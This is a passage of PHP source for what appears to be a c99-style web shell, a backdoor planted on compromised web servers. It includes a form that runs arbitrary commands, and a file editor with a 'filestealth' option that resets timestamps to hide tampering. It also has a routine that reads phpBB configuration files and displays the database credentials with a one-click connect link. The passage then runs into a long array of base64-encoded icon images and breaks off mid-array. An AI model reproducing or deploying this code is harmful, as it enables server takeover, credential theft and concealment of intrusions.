2090 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr>
2091 <P>";
2092 }
2093 elseif ($ft == "html") {
2094 if ($white) {@ob_clean();}
2095 echo $r;
2096 if ($white) {dQ99shexit();}
2097 }
2098 elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
2099 elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
2100 elseif ($ft == "phpsess") {
2101 echo "<pre>";
2102 $v = explode("|",$r);
2103 echo $v[0]."<br>";
2104 var_dump(unserialize($v[1]));
2105 echo "</pre>";
2106 }
2107 elseif ($ft == "exe") {
2108 $ext = explode(".",$f);
2109 $c = count($ext)-1;
2110 $ext = $ext[$c];
2111 $ext = strtolower($ext);
2112 $rft = "";
2113 foreach($exeftypes as $k=>$v)
2114 {
2115 if (in_array($ext,$v)) {$rft = $k; break;}
2116 }
2117 $cmd = str_replace("%f%",$f,$rft);
2118 echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
2119 }
2120 elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
2121 elseif ($ft == "code") {
2122 if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
2123 $arr = explode("\n",$r);
2124 if (count($arr == 18)) {
2125 include($d.$f);
2126 echo "<b>phpBB configuration is detected in this file!<br>";
2127 if ($dbms == "mysql4") {$dbms = "mysql";}
2128 if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
2129 else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
2130 echo "Parameters for manual connect:<br>";
2131 $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
2132 foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
2133 echo "</b><hr size=\"1\" noshade>";
2134 }
2135 }
2136 echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
2137 if (!empty($white)) {@ob_clean();}
2138 highlight_file($d.$f);
2139 if (!empty($white)) {dQ99shexit();}
2140 echo "</div>";
2141 }
2142 elseif ($ft == "download") {
2143 @ob_clean();
2144 header("Content-type: application/octet-stream");
2145 header("Content-length: ".filesize($d.$f));
2146 header("Content-disposition: attachment; filename=\"".$f."\";");
2147 echo $r;
2148 exit;
2149 }
2150 elseif ($ft == "notepad") {
2151 @ob_clean();
2152 header("Content-type: text/plain");
2153 header("Content-disposition: attachment; filename=\"".$f.".txt\";");
2154 echo($r);
2155 exit;
2156 }
2157 elseif ($ft == "img") {
2158 $inf = getimagesize($d.$f);
2159 if (!$white) {
2160 if (empty($imgsize)) {$imgsize = 20;}
2161 $width = $inf[0]/100*$imgsize;
2162 $height = $inf[1]/100*$imgsize;
2163 echo "<center><b>Size:</b> ";
2164 $sizes = array("100","50","20");
2165 foreach ($sizes as $v) {
2166 echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
2167 if ($imgsize != $v ) {echo $v;}
2168 else {echo "<u>".$v."</u>";}
2169 echo "</a> ";
2170 }
2171 echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
2172 }
2173 else {
2174 @ob_clean();
2175 $ext = explode($f,".");
2176 $ext = $ext[count($ext)-1];
2177 header("Content-type: ".$inf["mime"]);
2178 readfile($d.$f);
2179 exit;
2180 }
2181 }
2182 elseif ($ft == "edit") {
2183 if (!empty($submit))
2184 {
2185 if ($filestealth) {$stat = stat($d.$f);}
2186 $fp = fopen($d.$f,"w");
2187 if (!$fp) {echo "<b>Can't write to file!</b>";}
2188 else
2189 {
2190 echo "<b>Saved!</b>";
2191 fwrite($fp,$edit_text);
2192 fclose($fp);
2193 if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
2194 $r = $edit_text;
2195 }
2196 }
2197 $rows = count(explode("\r\n",$r));
2198 if ($rows < 10) {$rows = 10;}
2199 if ($rows > 30) {$rows = 30;}
2200 echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
2201 }
2202 elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
2203 else {echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";}
2204}
2205echo "</div>\n";
2206}
2207}
2208else {
2209@ob_clean();
2210$images = array(
2211"arrow_ltr"=>
2212"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
2213"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
2214"back"=>
2215"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
2216"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
2217"Wg0JADs=",
2218"buffer"=>
2219"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
2220"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGdQChg+xhnRB+ptLOhai1crEmD".
2221"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
2222"change"=>
2223"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
2224"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
2225"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
2226"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
2227"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
2228"zMshADs=",
2229"delete"=>
2230"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1dQ19cwXOfDw8Kenp/n5+etgeunp".
2231"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9dQ7djcscSM93d3ZGRkeEsTevd4LCw".
2232"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
2233"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
2234"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
2235"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2236"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
2237"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
2238"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
2239"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
2240"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
2241"download"=>
2242"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
2243"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
2244"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
2245"forward"=>
2246"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
2247"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
2248"WqsJADs=",
2249"home"=>
2250"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
2251"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
2252"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
2253"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
2254"mode"=>
2255"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9dQ////wAAAAAAAAAAAAAAAAAAAAAA".
2256"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
2257"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
2258"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
2259"search"=>
2260"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9dQ01NTSkpKQQEBP//".
2261"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
2262"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
2263"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
2264"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
2265"setup"=>
2266"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9dQ01NTUJC".
2267"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
2268"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
2269"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
2270"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
2271"small_dir"=>
2272"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
2273"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
2274"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
2275"small_unk"=>
2276"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
2277"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
2278"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++dQ/e72/vH3/vL4/u31".
2279"/e31/uDu/dzr/Orz/eHu/dQ6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
2280"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
2281"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
2282"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
2283"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
2284"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2285"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2286"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2287"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2288"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2289"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2290"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
2291"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
2292"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
2293"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
2294"yAsokBkQADs=",
2295"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
2296"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
2297"sort_asc"=>
2298"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
2299"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
2300"sort_desc"=>
2301"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
2302"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
2303"sql_button_drop"=>
2304"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2305"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2306"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2307"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2308"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2309"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2310"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2311"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2312"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2313"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2314"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2315"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2316"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2317"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
2318"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5dQ4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
2319"AQEAOw==",
2320"sql_button_empty"=>
2321"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2322"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2323"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2324"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2325"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2326"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2327"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2328"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2329"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2330"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2331"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2332"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2333"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2334"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
2335"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
2336"sql_button_insert"=>
2337"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2338"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2339"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2340"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2341"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2342"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2343"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2344"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2345"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2346"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2347"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2348"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2349"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2350"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
2351"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
2352"up"=>
2353"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
2354"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
2355"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwdQtop4p53PwLKOjvvV".
2356"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
2357"write"=>
2358"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9dQwQEBP///wAAAAAAAAAAAAAAAAAA".
2359"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
2360"EQYQLUAsGgM0Wwt3bCJfQSdQ10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
2361"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
2362"ext_asp"=>
2363"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
2364"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
2365"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
2366"ext_mp3"=>
2367"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
2368"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
2369"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
2370"ext_avi"=>
2371"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
2372"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
2373"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
2374"ext_cgi"=>
2375"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
2376"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
2377"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
2378"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
2379"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2380"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2381"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2382"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
2383"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
2384"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
2385"RYtMAgEAOw==",
2386"ext_cmd"=>
2387"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
2388"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
2389"dmrYAMn1onq/YKpjvEgAADs=",
2390"ext_cpp"=>
2391"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
2392"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
2393"Eq7YrLDE7a4SADs=",
2394"ext_ini"=>
2395"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
2396"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
2397"SnEjgPVarHEHgrB43JvszsQEADs=",
2398"ext_diz"=>
2399"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
2400"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
2401"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
2402"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7dQ08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
2403"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
2404"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
